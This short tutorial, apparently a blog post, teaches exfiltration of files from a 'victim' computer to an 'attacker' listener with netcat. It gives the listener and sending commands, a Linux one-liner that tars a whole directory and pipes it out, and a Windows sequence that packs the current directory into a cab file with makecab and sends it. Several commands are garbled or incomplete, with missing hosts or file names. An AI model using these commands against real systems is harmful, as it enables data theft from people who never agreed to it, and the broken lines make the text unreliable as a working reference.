Transferring Files with netcat

Netcat is a very handy tool, it even allows the user transfering a file.

Once you start a listener as below on attacker computer:

nc -l 3333 > received_file

You can send a file to the attacker computer as follows:

nc domain 3333 < original_file What if you don’t know the file name on the victim system before the attack? The easiest way is to zip or tar files on victim computer first.

For Linux system it is very straightforward, first start the listener:

netcat -l 4444 | tar xzvf –

Then, pack the files into a compressed tarball and send them as follows:

tar -czf – * | netcat 4444

Remember for Windows systems zip is not native as a compression tool, thus using cab files instead can be an applicable choice.

Again, first start your listener on attacker computer:

nc -l 3333 >

Then on victim Windows computer run the following commands to compress the files in current directory and send them as a compressed cab file:

dir /b /a-d > files.txt makecab /d “” /files.txt cd disk1 nc domain 3333 <

This gives you the possibility of retrieving all the files from the target directory of the victim computer beforehandly.